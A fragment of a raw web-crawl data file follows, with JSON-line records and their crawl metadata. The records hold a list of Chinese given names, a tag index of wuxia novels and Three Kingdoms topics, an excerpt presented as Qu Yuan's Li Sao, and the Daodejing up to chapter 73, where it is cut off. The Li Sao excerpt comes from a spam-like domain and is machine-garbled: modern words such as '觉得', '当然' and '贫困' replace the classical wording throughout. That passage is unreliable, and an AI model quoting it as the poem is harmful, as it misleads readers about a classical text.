周珊媛 周珊元 周三元 周水 周韵仪 周语桐 周仪诺 周秋霞 周铭悦 周仕慧 周年娣 周青 周思哲 周子玉 周钰涵 周昸晨 周周子萱周宇佳 周开华 周仙格 周宏艳 周溢萱 周瀞香 周淼芊 周子芯 周雨萱 周思维 周智睿 周大齐 周松毅 周小桦 周沛林","id":"","dump":"CC-MAIN-2021-31","url":"http:\/\/www.nhhongxing.cn\/bbqm\/12490.html","date":"2021-07-31T05:44:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154053.17\/warc\/CC-MAIN-20210731043043-20210731073043-00016.warc.gz","language":"lzh","language_score":0.7953627706,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7953627705574036, \"nan_Hani_score\": 0.19842974841594696}","num_words":353,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.797,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n夏侯淵 興勢之戰 九轉無相神功 阿紫 傻姑 枯禪玄功 青釭劍 楊儀 丁奉 戚芳 鬼王鞭 雲行雨飄 諸葛恪 儀琳 冷月寶刀 覆雨劍法 丈八蛇矛 挾天子 丁不三 壽春三叛 彩環曲 塌上策 菊花的刺 劉備 蝶雙飛 白阿繡 彼岸劍訣 九陽真經 韋一笑 日月麗天大法 鴛鴦刀 滿地開花八十—式 飛鶯飛鷹 劉表 逆水寒 衡山派 空明拳 炎元真氣 蘇荃 奪命十三劍 諸葛亮南征 嫁衣神功 大元丹法 劍客行 七星龍王 魅影劍法 沉沙劍法 衛春華 慕容復 鄭丰 武當派 風清揚 碧血劍 兵器譜 御盡萬法根源智經 東洋神風刀法 金蛇劍 迎風一刀斬 青龍偃月刀 陳近南 孫堅 羊祜 章進 萬物波動心法 賈南風 滅神掌 九陽神功 男人見不得 楊成協 枯木神功 馬岱 方證大師 奼女心法 峨嵋派 典韋 儀琳 鴛鴦腿 禿筆翁 郭嘉 孫皓暴政 軟蝟甲 賈詡 碧落紅塵 李秋水 玉女素心劍法 高平陵之變 神龍教 司馬昭 陳宮 情人箭 蕭摩訶 歸魂十八爪 風萍掌 方天畫戟 扭轉乾坤殺手劍 如意八打 康敏 桃枝仙 乾隆 孫權建國 玉女劍法 無崖子 水笙 郭芙 一燈大師 于禁 破碎虚空 五虎斷門刀 霍青桐 江夏戰神 武當七俠 呂布 袁紫衣 吳三桂 徐庶 木婉清 諸葛亮 丞相,起風了 橫煉罡 羅憲 瀟湘子 仙門劍訣 降龍伏虎羅漢拳 曹休 九陰真經 狄雲 龜息功 不死七幻 枯榮大師 關興 刀白鳳 虛竹 齊桓公 嵩山派 洪承疇 王異 掃地僧 天外飛仙 十住大乘功 駱冰 飛狐外傳 伊達政宗 馬忠 金絲綿掌 蒼穹神劍 朱子柳 狂沙刀法 牛郎一百零八棍 神君別傳 曹操 荀彧 達摩手 李元霸 岳不羣 逍遙派 多情劍客無情劍 花間十二支 阿朱 梵我如一 紫霞神功 化石神功 金輪法王 飛刀,又見飛刀 穿雲劍法 九月鷹飛 古龍 沖虛道長 楚留香新傳之蝙蝠傳奇 青城派 張春華 楊康 蔣琬 周伯通 呂后 旋風十八矛 回轉斧法三十式 鎖子縮骨功 失魂引 諸葛亮北伐 索額圖 白骨爪 馬大元 阿珂 曹洪 飛龍大九式 孫權 曹操討伐袁術之戰 幻魔身法 郭解 五絕神功 張苞 漢中之戰 大意失荊州 折花百式 陽頂天 奕劍術 金丹大法 梅花鉤 挾刀揉手 丁璫 散手八撲 郭靖 建寧公主 張大春 白世鏡 俠客行 星宿派 斷絕神功 五行劍法 張郃 賈充 華山論劍 黃權 銀雕 海大富 天鷹教 白自在 鰲拜 林朝英 余魚同 交阯之亂 五虎斷門刀 歸辛樹 瘋魔上天下地一百零七撃 梅超風 東興之戰 梁羽生 射鵰三部曲 毛玠 青松劍譜 天山童姥 丹心術 神鵰俠侶 歡樂英雄 夢姑 藏密智能書 大地飛鷹 潼關之戰 玩命拳 樂進 無塵道長 金蛇郎君 袁紹 呂布爭徐州 曹操攻徐州之戰 鍾會之亂 陸小鳳傳奇 曹仁 水雲袖法 神蛛凌空銀絲渡虛 余滄海 沙影二十八劍 九字真言手印 楊頂天 大喬 甘寧 小龍女 袁承志 燕子三抄水 周芷若 不碎金剛 淑女劍 福康安 瑛姑 魏延 全真七子 暴雨梨花釘 急風十三刺 尋秦記 歸藏鞭 劍毒梅香 黑白子 鄧芝 紫氣天羅 白玉老虎 徐晃 十二都天神功 八賢王 段譽 裘千尺 費禕 鬼魅潛蹤 太史慈 夷陵之戰 姜維北伐 五帝鐧 流星蝴蝶劍 泰山派 合淝之戰 玄慈 左慈 換日大法 明珠 天一掌 丁不四 豔陽刃法 笑傲江湖 孟獲 永安之戰 韋小寶 伏養氣功 呂蒙 陸抗 明玉功 封天閉地 魏滅蜀之戰 遊俠錄 姜維 殷離 桃葉仙 降龍十八掌 霍去病 荀攸 清風十三式 打狗棒法 逍遙拆 太極七截棍 破精自絕大法 廖化 劉禪 韓當 鍾靈 披風杖法 飛龍五式 隆中對 博望坡之戰 令狐沖 黃蓉 臥龍生 聖火令 汪劍通 金錢幫 田伯光 先天功 邊荒傳說 趙敏 于萬亭 貂蟬 心佛掌 群狐 太清元功 曾柔 成昆 覆雨翻雲 劍玄錄 龍門鏢局 董卓 蕭遠山 壽春馳援 霍都 閔柔 尉遲敬德 星际浪子 馮錫范 蔣濟 一扇十八搖 宗預 韓小瑩 蝴蝶穿花七十二式 浣花洗劍錄 起風了 吸星大法 王語嫣 屠龍刀 徐天宏 丹青生 鐵蒺藜骨朵 關索 碧血洗銀槍 關羽 靈犀一指 凌統 嫁衣神功 左冷禪 呂玲綺 吳質 神刀斬 東興之戰 龐德 黃天大法 陸遜 胡昭 少林神拳 黯然銷魂掌 火併蕭十一郎 一休 一串鞭 夏姬 吳起 空綁術 心硯 碧海潮生曲 天心蓮環 辟邪劍法 張遼 神州奇俠 血海飄香 劍氣書香 銅錘 日月當空 魅影身法 冰玄勁 魔心連環 天涯明月刀 曹操迎天子 飛天狐狸 姑蘇慕容 石破天 公孫止 西蜀地形圖 鹿鼎記 楚留香新傳之借屍還魂 華山派 流星鎚 不死印法 郭淮 天地明環 滿天花雨 黃皓 張召重 無想奼女大法 黃忠 陳家洛 荊州 碎金剛乘 刀劍雙殺七七四十九式 曹丕篡漢 晉滅吳之戰 丁典 桃實仙 嵩山十三太保 關銀屏 范遙 倪匡 湘妃劍 韋小寶 孫曉 雙修大法 黃鍾公 掩月劍法 鍾繇 桃花仙 楊過 石田三成 夏青青 林平之 龐統 誰來跟我乾杯 絕代雙驕 岳靈珊 無相神功 鐵騎快劍 凌波微步 孫尚香 慈航劍典 桃花島 段正明 沐劍屏 硃砂掌 荊楚爭雄記 南匈奴 蔡文姬 就地十八滾 官渡之戰 段正淳 驚魂六記 馬謖 丐幫 李牧 金剛門 恆山派 楚留香傳奇 曹爽專權 張無忌 雷霆刀法 大人物 周瑜 倚天屠龍記 血戰十式 武當掌法 玉女媚術 子貴母死 洪七公 刑遁術 滿寵 的盧 雙手互搏 程英 德川家康 越女劍 彭長老 王重陽 大手印 金針開穴之法 丁春秋 小鷹爪功 黃蓋 張三丰 天魅凝陰 井中八法 王元姬 古墓派 夏侯惇 絕不低頭 夏侯霸 鍾會 徐榮 樊城之戰 袖裡乾坤 幻影劍法 石雙英 司馬師 西陵之戰 蔣四根 獨孤九劍 怒劍狂花 戰神圖錄 五嶽劍派 丞相 飛伏一百零八槍 合淝之戰 古龍作品 文鴦 程普 諸葛瞻 史火龍 劍花煙雨江南 崆峒派 紅花會 移玉大法 鳳天南 英雄無淚 星彩 死眷術 南皮之戰 寧中則 伏虎神拳 界橋之戰 曹丕伐吳 月英 鳩摩智 尼摩星 黃祖 決戰前後 護花鈴 移花接玉 黑鬼爪 月異星邪 定閒師太 飄香劍雨 白狼山之戰 東方不敗 邊城浪子 程靈素 天魔手七十二式 三少爺的劍 黃皓專權 司馬懿 方怡 烏金血劍 雙兒 達爾巴 五毒教 龍吟曲 常赫志 定世鞭 流星鎚 尉遲恭 石清 童子功十三太保橫練 變天擊地大法 常伯志 亡神十八掌 九玄大法 任我行 倚天劍 飛燕七式 康熙 孤星傳 地煞拳 凝真九變 海神 張角 魏滅蜀之戰 風鈴中的刀聲 內家橫練 馬超 玄鐵重劍 天地明環 魔佛十式 曹叡 白萬劍 大旗英雄傳 七种武器 桃幹仙 竹節鞭 燎原百擊 曹丕 周泰 甄姬 關平 大武俠時代 小喬 魯肅 仇國論 四大惡人 一指頭禪 法正 馬皇后 狼牙 胡斐 賭局 石中玉 長平公主 耶律齊 武田信玄 曹純 韋春花 李莫愁 屯田制 莫大先生 定逸師太 練師 不戒和尚 無想十法 殭屍拳 司馬昭弒君 大唐雙龍傳 鄧艾 公孫綠萼 奇功絕藝榜 朱然 趙雲 種玉大法 三尸腦神丹 魅變術 崑崙派 武林外史 七十二路分筋錯骨手 鬼火十三拍 迷蹤七變 下邳之戰 布衣神相 破蓮八著 玄氣大法 完顏洪烈 天魔心法 二宮之爭 雪山飛狐 建安文學 九品中正制 董卓討伐戰 長河正氣 呂母 街亭 太虛勁 四大名捕 夷陵之戰 李典 絕代雙驕角色列表 貝海石 蕭十一郎 翔鷹劍法 涼州軍劫天子 少林三渡 圓月彎刀 天魔大法 歐陽克 天龍八部 華山派 大拍手 華陀針 桃谷六仙 陸無雙 鷹變十三式 左手刀法 喬鋒 龍木島主 葵花寶典 空城計 柳絮劍法 幽灵山庄 織女劍法 阿九 第六天魔王 武三通 摩尼教 紫微軟劍 裘千仞 桃根仙 羅漢伏虎拳 合淝新城之戰 紫血大法 流雲飛袖 趙志敬 楚留香新傳 北冥神功 上官鼎 張三李四 大圓滿杖法 阿青 許褚 七流星 天魔擊三大散招 勞德諾 呂壹專權 青龍會 化骨綿掌 霓裳仙舞 孫策 伏魔劍法 倉亭之戰 定靜師太 雙尖軟矛 謝煙客 益州之戰 君子劍 游坦之 金庸 擒拿截脈法 吳應熊 郭馬之亂 先天氣功 劉備稱帝 小昭 祝融 三十六招鳥啄擊法 魯有腳 楊修 楊逍 九轉還童 文醜 捨身大法 合肥之戰 張飛 裂馬槍 彈指神通 孫策平江東之戰 曹真 尹克西 鐵脊蛇矛 王平 梅花鉤 蕭逸 石亭之戰 董允 少林派 七傷拳 連體心法 文泰來 連城訣 日月神教 笮融 謝遜 陳到 天外流星 太虛錯手 飛鷹十三刺 徐盛 林遠圖 魏晉玄學 穆念慈 張翼 臥龍 孫皓 夏侯嬰 蔣幹 全真教 九難 鮑三娘 楚留香新傳之新月傳奇 石亭之戰 名劍風流 七殺拳 武夷派 曹睿 譙周 無念禪功 奪命簪 絕情谷 白馬嘯西風 六脈神劍 諸葛誕 黃藥師 燕子雙飛 法顯 道心種魔大法 摘心手 趙半山 溫瑞安 江南七怪 九韶定音劍 五毒神功 赤壁之戰 蒼穹十三劍 周倉 慕容博 逍遙訣 大開碑手 滅絕師太 劍罡同流 任盈盈 炎陽奇功 菩提心功 李廣 蒼穹十三式 易京之戰 七殺手 吳六奇 書劍恩仇錄 郭襄 蛤蟆功 衛青 藍鳳凰 吳國太 血鸚鵡 歐陽鋒 殘金缺玉 七禽身法 玄鐵劍法 銀龍手 雌雄雙股劍 鳥渡術","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.herostory.tw\/alltags","date":"2022-01-19T02:24:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301217.83\/warc\/CC-MAIN-20220119003144-20220119033144-00520.warc.gz","language":"lzh","language_score":0.5900554061,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5900554060935974, \"nan_Hani_score\": 0.252696692943573, \"cmn_Hani_score\": 0.12174998968839645, \"yue_Hani_score\": 0.032960690557956696}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"离骚节选朗诵\n长慨气以掩涕兮,哀民生之多艰。余虽好修姱以鞿羁兮,謇朝谇而夕替。\n既替余以蕙纕兮,又申之以揽茝。亦余心之所善兮,虽九死其尤未悔。\n怨灵修之浩大兮,终不察夫民气。众女嫉余之蛾眉兮,谣诼谓余以善淫。\n固时俗之工细兮,偭端方而改错。背绳墨以追曲兮,竞周容觉得度;\n忳郁邑余侘傺兮,吾独贫困乎此时也。宁溘死以亡命兮,余不忍为此态也。\n鸷鸟之不群兮,自宿世而当然。何方圜之能周兮?夫孰异道而相安?\n屈心而抑志兮,忍尤而攘诟。伏洁白以死直兮,固前圣之所厚。\n悔相道之不察兮,延伫乎吾将反。回朕车以复路兮,及行迷之未远。\n步余马于兰皋兮,驰椒丘且焉止息。进不入以离尤兮,退将复修吾初服。\n制芰荷觉得衣兮,集芙蓉觉得裳。不吾知其亦已兮,苟余情其信芳。\n高余冠之岌岌兮,长余佩之陆离。芳与泽其杂糅兮,唯昭质其犹未亏。\n忽反顾以游目兮,将往观乎四荒。佩绚丽其繁饰兮,芳菲菲其弥章。\n民生各有所乐兮,余独好修觉得常。虽体解吾犹未变兮,岂余心之可惩?","id":"","dump":"CC-MAIN-2022-05","url":"http:\/\/whitegirlpussy.com\/mip\/xiangxi-322388\/","date":"2022-01-19T14:44:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301341.12\/warc\/CC-MAIN-20220119125003-20220119155003-00421.warc.gz","language":"lzh","language_score":0.7053081393,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7053081393241882, \"cmn_Hani_score\": 0.18211130797863007, \"nan_Hani_score\": 0.04168320819735527, \"yue_Hani_score\": 0.030588136985898018, \"jpn_Jpan_score\": 0.02572418563067913}","num_words":14,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.706,"perplexity_score":500.0,"cluster_detection":1} +{"text":"老子 (校詁版)\n道經编辑\n一章编辑\n道可道。非常道。名可名。非常名。無。名天地之始。有。名萬物之母。故常無。欲以觀其妙。常有。欲以觀其徼。此兩者。同出而異名。同謂之玄。玄之又玄。眾妙之門。\n二章编辑\n天下皆知美之為美。斯惡已。皆知善之為善。斯不善已。有無相生。難易相成。長短相形。高下相盈。音聲相和。前後相隨。是以聖人處無為之事。行不言之教。萬物作而不為始。生而不有。為而不恃。功成而弗居。夫唯弗居。是以不去。\n三章编辑\n不尚賢。使民不爭。不貴難得之貨。使民不為盜。不見可欲。使民不亂。是以聖人之治。虛其心。實其腹。弱其志。強其骨。常使民無知無欲。使夫智者不敢為也。為無為。則無不治。\n四章编辑\n道沖。而用之或不盈。淵兮。似萬物之宗。湛兮。似或存。吾不知誰之子。象帝之先。\n五章编辑\n天地不仁。以萬物為芻狗。聖人不仁。以百姓為芻狗。天地之間。其猶橐籥乎。虛而不屈。動而愈出。多言數窮。不如守中。\n六章编辑\n谷神不死。是謂玄牝。玄牝之門。是謂天地根。綿綿若存。用之不勤。\n七章编辑\n天長地久。天地所以能長且久者。以其不自生。故能長生。是以聖人後其身而身先。外其身而身存。非以其無私邪。故能成其私。\n八章编辑\n上善若水。水善利萬物而不爭。處眾人之所惡。故幾於道。居善地。心善淵。與善仁。言善信。政善治。事善能。動善時。夫唯不爭。故無尤。\n九章编辑\n持而盈之。不如其已。揣而銳之。不可長保。金玉滿堂。莫之能守。富貴而驕。自遺其咎。功遂身退。天之道也。\n十章编辑\n載營魄抱一。能無離乎。專氣致柔。能如嬰兒乎。滌除玄鑒。能無疵乎。愛民治國。能無為乎。天門開闔。能為雌乎。明白四達。能無知乎。\n十一章编辑\n三十輻。共一轂。當其無。有車之用。埏埴以為器。當其無。有器之用。鑿戶牖以為室。當其無。有室之用。故有之以為利。無之以為用。\n十二章编辑\n五色令人目盲。五音令人耳聾。五味令人口爽。馳騁畋獵。令人心發狂。難得之貨。令人行妨。是以聖人為腹不為目。故去彼取此。\n十三章编辑\n寵辱若驚。貴大患若身。何謂寵辱若驚。寵為下。得之若驚。失之若驚。是謂寵辱若驚。何謂貴大患若身。吾所以有大患者。為吾有身。及吾無身。吾有何患。故貴以身為天下。若可寄天下。愛以身為天下。若可託天下。\n十四章编辑\n視之不見。名曰夷。聽之不聞。名曰希。搏之不得。名曰微。此三者不可致詰。故混而為一。其上不皦。其下不昧。繩繩兮不可名。復歸於無物。是謂無狀之狀。無物之象。是謂惚恍。迎之不見其首。隨之不見其後。執古之道。以御今之有。能知古始。是謂道紀。\n十五章编辑\n古之善為士者。微妙玄通。深不可識。夫唯不可識。故強為之容。豫兮若冬涉川。猶兮若畏四鄰。儼兮其若客。渙兮其若冰釋。敦兮其若樸。曠兮其若谷。混兮其若濁。孰能濁以靜之徐清。孰能安以動之徐生。保此道者。不欲盈。夫唯不盈。故能蔽而新成。\n十六章编辑\n致虛極。守靜篤。萬物並作。吾以觀復。夫物芸芸。各復歸其根。歸根曰靜。靜曰復命。復命曰常。知常曰明。不知常。妄作凶。知常容。容乃公。公乃全。全乃天。天乃道。道乃久。沒身不殆。\n十七章编辑\n太上。下知有之。其次。親而譽之。其次。畏之。其次。侮之。信不足焉。有不信焉。悠兮其貴言。功成事遂。百姓皆謂:我自然。\n十八章编辑\n大道廢。有仁義。六親不和。有孝慈。國家昏亂。有忠臣。\n十九章编辑\n絕智棄辯。民利百倍。絕偽棄詐。民復孝慈。絕巧棄利。盜賊無有。此三者以為文。不足。故令有所屬。見素抱樸。少私寡欲。\n二十章编辑\n絕學無憂。唯之與阿。相去幾何。美之與惡。相去若何。人之所畏。不可不畏。荒兮。其未央哉。眾人熙熙。如享太牢。如春登臺。我獨泊兮。其未兆。如嬰兒之未孩。儽儽兮。若無所歸。眾人皆有餘。而我獨若遺。我愚人之心也哉。沌沌兮。俗人昭昭。我獨昏昏。俗人察察。我獨悶悶。澹兮其若海。飂兮若無止。眾人皆有以。而我獨頑且鄙。我獨異於人。而貴食母。\n二十一章编辑\n孔德之容。惟道是從。道之為物。惟恍惟惚。惚兮恍兮。其中有象。恍兮惚兮。其中有物。窈兮冥兮。其中有精。冥兮窈兮。其中有信。自今及古。其名不去。以閱眾甫。吾何以知眾甫之狀哉。以此。\n二十二章编辑\n曲則全。枉則直。漥則盈。敝則新。少則得。多則惑。是以聖人抱一為天下式。不自見。故明。不自是。故彰。不自伐。故有功。不自矜。故能長。夫唯不爭。故天下莫能與之爭。古之所謂曲則全者。豈虛言哉。誠全而歸之。\n二十三章编辑\n希言自然。故飄風不終朝。驟雨不終日。孰為此者。天地。天地尚不能久。而況於人乎。故從事於道者。同於道。德者。同於德。失者。同於失。同於德者。道亦德之。同於失者。道亦失之。信不足焉。有不信焉。\n二十四章编辑\n企者不立。跨者不行。自見者不明。自是者不彰。自伐者無功。自矜者不長。其在道也。曰餘食贅形。物或惡之。故有道者不處。\n二十五章编辑\n有物混成。先天地生。寂兮寥兮。獨立而不改。周行而不殆。可以為天地母。吾不知其名。強字之曰道。強為之名曰大。大曰逝。逝曰遠。遠曰反。故道大。天大。地大。人亦大。域中有四大。而人居其一焉。人法地。地法天。天法道。道法自然。\n二十六章编辑\n重為輕根。靜為躁君。是以君子終日行不離輜重。雖有榮觀。燕處超然。奈何萬乘之主。而以身輕天下。輕則失根。躁則失君。\n二十七章编辑\n善行無轍跡。善言無瑕謫。善數不用籌策。善閉無關楗而不可開。善結無繩約而不可解。是以聖人常善救人。故無棄人。常善救物。故無棄物。是謂襲明。故善人者。不善人之師。不善人者。善人之資。不貴其師。不愛其資。雖智大迷。是謂要妙。\n二十八章编辑\n知其雄。守其雌。為天下谿。為天下谿。常德不離。復歸於嬰兒。知其白。守其辱。為天下谷。為天下谷。常德乃足。復歸於樸。樸散則為器。聖人用之。則為官長。故大制不割。\n二十九章编辑\n將欲取天下而為之。吾見其不得已。天下神器。不可為也。不可執也。為者敗之。執者失之。是以聖人無為。故無敗。無執。故無失。故物或行或隨。或噓或吹。或強或羸。或培或墮。是以聖人去甚。去奢。去泰。\n三十章编辑\n以道佐人主者。不以兵強天下。其事好還。師之所處。荊棘生焉。善有果而已。不以取強。果而勿矜。果而勿伐。果而勿驕。果而不得已。果而勿強。物壯則老。是謂不道。不道早已。\n三十一章编辑\n夫兵者。不祥之器。物或惡之。故有道者不處。君子居則貴左。用兵則貴右。兵者不祥之器。非君子之器。不得已而用之。恬淡為上。勝而不美。而美之者。是樂殺人。夫樂殺人者。則不可得志於天下矣。吉事尚左。凶事尚右。偏將軍居左。上將軍居右。言以喪禮處之。殺人之眾。以悲哀泣之。戰勝以喪禮處之。\n三十二章编辑\n道常無名樸。雖小。天下莫能臣。侯王若能守之。萬物將自賓。天地相合。以降甘露。民莫之令而自均。始制有名。名亦既有。夫亦將知止。知止可以不殆。譬道之在天下。猶川谷之於江海。\n三十三章编辑\n知人者智。自知者明。勝人者有力。自勝者強。知足者富。強行者有志。不失其所者久。死而不亡者壽。\n三十四章编辑\n大道氾兮。其可左右。萬物恃之以生而不辭。功成而不有。衣養萬物而不為主。可名於小。萬物歸焉而不為主。可名為大。以其終不自為大。故能成其大。\n三十五章编辑\n執大象。天下往。往而不害。安平泰。樂與餌。過客止。道之出口。淡乎其無味。視之不足見。聽之不足聞。用之不足既。\n三十六章编辑\n將欲歙之。必固張之。將欲弱之。必固強之。將欲廢之。必固舉之。將欲取之。必固與之。是謂微明。柔弱勝剛強。魚不可脫於淵。國之利器不可以示人。\n三十七章编辑\n道常無為而無不為。侯王若能守之。萬物將自化。化而欲作。吾將鎮之以無名之樸。無名之樸。夫亦將不欲。不欲以靜。天下將自正。\n德經编辑\n三十八章编辑\n上德不德。是以有德。下德不失德。是以無德。上德無為而無以為。上仁為之而無以為。上義為之而有以為。上禮為之而莫之應。則攘臂而扔之。故失道而後德。失德而後仁。失仁而後義。失義而後禮。夫禮者。忠信之薄。而亂之首。前識者。道之華。而愚之始。是以大丈夫處其厚。不居其薄。處其實。不居其華。故去彼而取此。\n三十九章编辑\n昔之得一者。天得一以清。地得一以寧。神得一以靈。谷得一以盈。萬物得一以生。侯王得一以為天下正。其致之也。謂天無以清。將恐裂。地無以寧。將恐廢。神無以靈。將恐歇。谷無以盈。將恐竭。萬物無以生。將恐滅。侯王無以正。將恐蹶。故貴以賤為本。高以下為基。是以侯王自稱孤。寡。不穀。此非以賤為本邪。非乎。故至譽無譽。是故不欲琭琭如玉。珞珞如石。\n四十章编辑\n反者道之動。弱者道之用。天下萬物生於有。有生於無。\n四十一章编辑\n上士聞道。勤而行之。中士聞道。若存若亡。下士聞道。大笑之。不笑不足以為道。故建言有之。明道若昧。進道若退。夷道若纇。上德若谷。大白若辱。廣德若不足。建德若偷。質真若渝。大方無隅。大器晚成。大音希聲。大象無形。道隱無名。夫唯道。善貸且成。\n四十二章编辑\n道生一。一生二。二生三。三生萬物。萬物負陰而抱陽。沖氣以為和。\n四十三章编辑\n天下之至柔。馳騁天下之至堅。無有入無間。吾是以知無為之有益。不言之教。無為之益。天下希及之。\n四十四章编辑\n名與身孰親。身與貨孰多。得與亡孰病。甚愛必大費。多藏必厚亡。故知足不辱。知止不殆。可以長久。\n四十五章编辑\n大成若缺。其用不弊。大盈若沖。其用不窮。大直若屈。大巧若拙。大辯若訥。躁勝寒。靜勝熱。清靜為天下正。\n四十六章编辑\n天下有道。卻走馬以糞。天下無道。戎馬生於郊。咎莫大於欲得。禍莫大於不知足。故知足之足。常足矣。\n四十七章编辑\n不出戶。知天下。不闚牖。見天道。其出彌遠。其知彌少。是以聖人不行而知。不見而明。不為而成。\n四十八章编辑\n為學日益。為道日損。損之又損。以至於無為。無為而無不為。取天下常以無事。及其有事。不足以取天下。\n四十九章编辑\n聖人常無心。以百姓心為心。善者。吾善之。不善者。吾亦善之。德善。信者。吾信之。不信者。吾亦信之。德信。聖人在天下。歙歙焉。為天下渾其心。百姓皆注其耳目。聖人皆孩之。\n五十章编辑\n出生入死。生之徒。十有三。死之徒。十有三。人之生生。動之於死地。亦十有三。夫何故。以其生生之厚。蓋聞善攝生者。陸行不遇兕虎。入軍不被甲兵。兕無所投其角。虎無所用其爪。兵無所容其刃。夫何故。以其無死地。\n五十一章编辑\n道生之。德畜之。物形之。勢成之。是以萬物莫不尊道而貴德。道之尊。德之貴。夫莫之命而常自然。故道生之。德畜之。長之育之。亭之毒之。養之覆之。生而不有。為而不恃。長而不宰。是謂玄德。\n五十二章编辑\n天下有始。以為天下母。既得其母。以知其子。既知其子。復守其母。沒身不殆。塞其兌。閉其門。終身不勤。開其兌。濟其事。終身不救。見小曰明。守柔曰強。用其光。復歸其明。無遺身殃。是為襲常。\n五十三章编辑\n使我介然有知。行於大道。唯施是畏。大道甚夷。而人好徑。朝甚除。田甚蕪。倉甚虛。服文綵。帶利劍。厭飲食。財貨有餘。是謂盜夸。非道也哉。\n五十四章编辑\n善建者不拔。善抱者不脫。子孫以祭祀不輟。修之於身。其德乃真。修之於家。其德乃餘。修之於鄉。其德乃長。修之於邦。其德乃豐。修之於天下。其德乃普。故以身觀身。以家觀家。以鄉觀鄉。以邦觀邦。以天下觀天下。吾何以知天下然哉。以此。\n五十五章编辑\n含德之厚。比於赤子。蜂蠆虺蛇不螫。攫鳥猛獸不搏。骨弱筋柔而握固。未知牝牡之合而朘作。精之至也。終日號而不嗄。和之至也。知和曰常。知常曰明。益生曰祥。心使氣曰強。物壯則老。謂之不道。不道早已。\n五十六章编辑\n知者不言。言者不知。塞其兌。閉其門。挫其銳。解其紛。和其光。同其塵。是謂玄同。故不可得而親。不可得而疏。不可得而利。不可得而害。不可得而貴。不可得而賤。故為天下貴。\n五十七章编辑\n以正治國。以奇用兵。以無事取天下。吾何以知其然哉。以此。天下多忌諱。而民彌貧。人多利器。國家滋昏。人多伎巧。奇物滋起。法令滋彰。盜賊多有。故聖人云。我無為。而民自化。我好靜。而民自正。我無事。而民自富。我無欲。而民自樸。\n五十八章编辑\n其政悶悶。其民淳淳。其政察察。其民缺缺。禍兮福之所倚。福兮禍之所伏。孰知其極。其無正也。正復為奇。善復為妖。人之迷。其日固久。是以聖人方而不割。廉而不劌。直而不肆。光而不耀。\n五十九章编辑\n治人事天。莫若嗇。夫唯嗇。是謂早服。早服謂之重積德。重積德則無不克。無不克則莫知其極。莫知其極。可以有國。有國之母。可以長久。是謂深根固柢。長生久視之道。\n六十章编辑\n治大國。若烹小鮮。以道蒞天下。其鬼不神。非其鬼不神。其神不傷人。非其神不傷人。聖人亦不傷人。夫兩不相傷。故德交歸焉。\n六十一章编辑\n大邦者下流。天下之牝。天下之交也。牝常以靜勝牡。以靜為下。故大邦以下小邦。則取小邦。小邦以下大邦。則取大邦。故或下以取。或下而取。大邦不過欲兼畜人。小邦不過欲入事人。夫兩者各得所欲。大者宜為下。\n六十二章编辑\n道者萬物之奧。善人之寶。不善人之所保。美言可以市。尊行可以加人。人之不善。何棄之有。故立天子。置三公。雖有拱璧以先駟馬。不如坐進此道。古之所以貴此道者何。不曰:求以得。有罪以免邪。故為天下貴。\n六十三章编辑\n為無為。事無事。味無味。大小多少。圖難於其易。為大於其細。天下難事。必作於易。天下大事。必作於細。是以聖人終不為大。故能成其大。夫輕諾必寡信。多易必多難。是以聖人猶難之。故終無難矣。\n六十四章编辑\n其安易持。其未兆易謀。其脆易泮。其微易散。為之於未有。治之於未亂。合抱之木。生於毫末。九層之臺。起於累土。千里之行。始於足下。為者敗之。執者失之。是以聖人無為故無敗。無執故無失。民之從事。常於幾成而敗之。慎終如始。則無敗事。是以聖人欲不欲。不貴難得之貨。學不學。復眾人之所過。以輔萬物之自然而不敢為。\n六十五章编辑\n古之善為道者。非以明民。將以愚之。民之難治。以其智多。故以智治國。國之賊。不以智治國。國之福。知此兩者亦稽式。常知稽式。是謂玄德。玄德深矣。遠矣。與物反矣。然後乃至大順。\n六十六章编辑\n江海之所以能為百谷王者。以其善下之。故能為百谷王。是以聖人欲上民。必以言下之。欲先民。必以身後之。是以聖人處上而民不重。處前而民不害。是以天下樂推而不厭。以其不爭。故天下莫能與之爭。\n六十七章编辑\n天下皆謂我:道大。似不肖。夫唯大。故似不肖。若肖。久矣其細也夫。我有三寶。持而保之。一曰慈。二曰儉。三曰不敢為天下先。慈故能勇。儉故能廣。不敢為天下先。故能成器長。今舍慈且勇。舍儉且廣。舍後且先。死矣。夫慈以戰則勝。以守則固。天將救之。以慈衛之。\n六十八章编辑\n善為士者。不武。善戰者。不怒。善勝敵者。不與。善用人者。為之下。是謂不爭之德。是謂用人。是謂配天。古之極也。\n六十九章编辑\n用兵有言:吾不敢為主。而為客。不敢進寸。而退尺。是謂行無行。攘無臂。扔無敵。執無兵。禍莫大於輕敵。輕敵幾喪吾寶。故抗兵相若。哀者勝矣。\n七十章编辑\n吾言甚易知。甚易行。天下莫能知。莫能行。言有宗。事有君。夫唯無知。是以不我知。知我者希。則我者貴。是以聖人被褐懷玉。\n七十一章编辑\n知不知。尚矣。不知知。病也。聖人不病。以其病病。夫唯病病。是以不病。\n七十二章编辑\n民不畏威。則大威至。無狎其所居。無厭其所生。夫唯不厭。是以不厭。是以聖人自知不自見。自愛不自貴。故去彼取此。\n七十三章编辑\n勇於敢則殺。勇於不敢則活。此兩者。或利或害。天之所惡。孰知其故。天之道。不爭而善勝。不言而善應。不召而自